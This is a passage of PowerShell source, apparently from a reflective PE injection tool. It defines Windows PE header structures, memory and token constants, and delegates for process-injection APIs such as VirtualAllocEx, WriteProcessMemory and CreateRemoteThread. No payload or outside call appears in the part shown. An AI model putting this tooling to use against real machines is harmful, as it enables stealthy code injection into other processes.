($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null | |
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null | |
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null | |
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null | |
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null | |
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null | |
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null | |
($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null | |
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null | |
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null | |
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null | |
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null | |
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null | |
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null | |
$IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 | |
#Struct IMAGE_OPTIONAL_HEADER32 | |
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' | |
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) | |
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null | |
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null | |
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null | |
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null | |
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null | |
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null | |
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null | |
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null | |
($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null | |
($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null | |
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null | |
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null | |
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null | |
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null | |
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null | |
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null | |
($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null | |
($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null | |
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null | |
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null | |
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null | |
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null | |
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null | |
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null | |
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null | |
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null | |
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null | |
($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null | |
($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null | |
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null | |
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null | |
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null | |
($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null | |
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null | |
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null | |
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null | |
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null | |
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null | |
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null | |
($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null | |
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null | |
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null | |
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null | |
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null | |
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null | |
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null | |
$IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 | |
#Struct IMAGE_NT_HEADERS64 | |
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' | |
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) | |
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null | |
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null | |
$IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 | |
#Struct IMAGE_NT_HEADERS32 | |
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' | |
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) | |
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null | |
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null | |
$IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 | |
#Struct IMAGE_DOS_HEADER | |
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' | |
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) | |
$TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null | |
$e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') | |
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray | |
$FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) | |
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) | |
$e_resField.SetCustomAttribute($AttribBuilder) | |
$TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null | |
$e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') | |
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray | |
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) | |
$e_res2Field.SetCustomAttribute($AttribBuilder) | |
$TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null | |
$IMAGE_DOS_HEADER = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER | |
#Struct IMAGE_SECTION_HEADER | |
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' | |
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) | |
$nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') | |
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray | |
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) | |
$nameField.SetCustomAttribute($AttribBuilder) | |
$TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null | |
$IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER | |
#Struct IMAGE_BASE_RELOCATION | |
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' | |
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) | |
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null | |
$IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION | |
#Struct IMAGE_IMPORT_DESCRIPTOR | |
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' | |
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) | |
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null | |
$IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR | |
#Struct IMAGE_EXPORT_DIRECTORY | |
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' | |
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) | |
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null | |
$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null | |
$IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY | |
#Struct LUID | |
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' | |
$TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) | |
$TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null | |
$LUID = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID | |
#Struct LUID_AND_ATTRIBUTES | |
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' | |
$TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) | |
$TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null | |
$TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null | |
$LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES | |
#Struct TOKEN_PRIVILEGES | |
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' | |
$TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) | |
$TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null | |
$TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null | |
$TOKEN_PRIVILEGES = $TypeBuilder.CreateType() | |
$Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES | |
return $Win32Types | |
} | |
Function Get-Win32Constants | |
{ | |
$Win32Constants = New-Object System.Object | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 | |
$Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 | |
return $Win32Constants | |
} | |
Function Get-Win32Functions | |
{ | |
$Win32Functions = New-Object System.Object | |
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc | |
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) | |
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) | |
$Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc | |
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx | |
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) | |
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) | |
$Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx | |
$memcpyAddr = Get-ProcAddress msvcrt.dll memcpy | |
$memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) | |
$memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy | |
$memsetAddr = Get-ProcAddress msvcrt.dll memset | |
$memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) | |
$memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset | |
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA | |
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) | |
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary | |
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress | |
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) | |
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress | |
$GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself | |
$GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) | |
$GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr | |
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree | |
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) | |
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) | |
$Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree | |
$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx | |
$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) | |
$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) | |
$Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx | |
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect | |
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) | |
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) | |
$Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect | |
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA | |
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) | |
$GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) | |
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle | |
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary | |
$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) | |
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary | |
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess | |
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) | |
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess | |
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject | |
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) | |
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject | |
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory | |
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) | |
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory | |
$ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory | |
$ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) | |
$ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory | |
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread | |
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) | |
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread | |
$GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread | |
$GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) | |
$GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread | |
$OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken | |
$OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) | |
$OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) | |
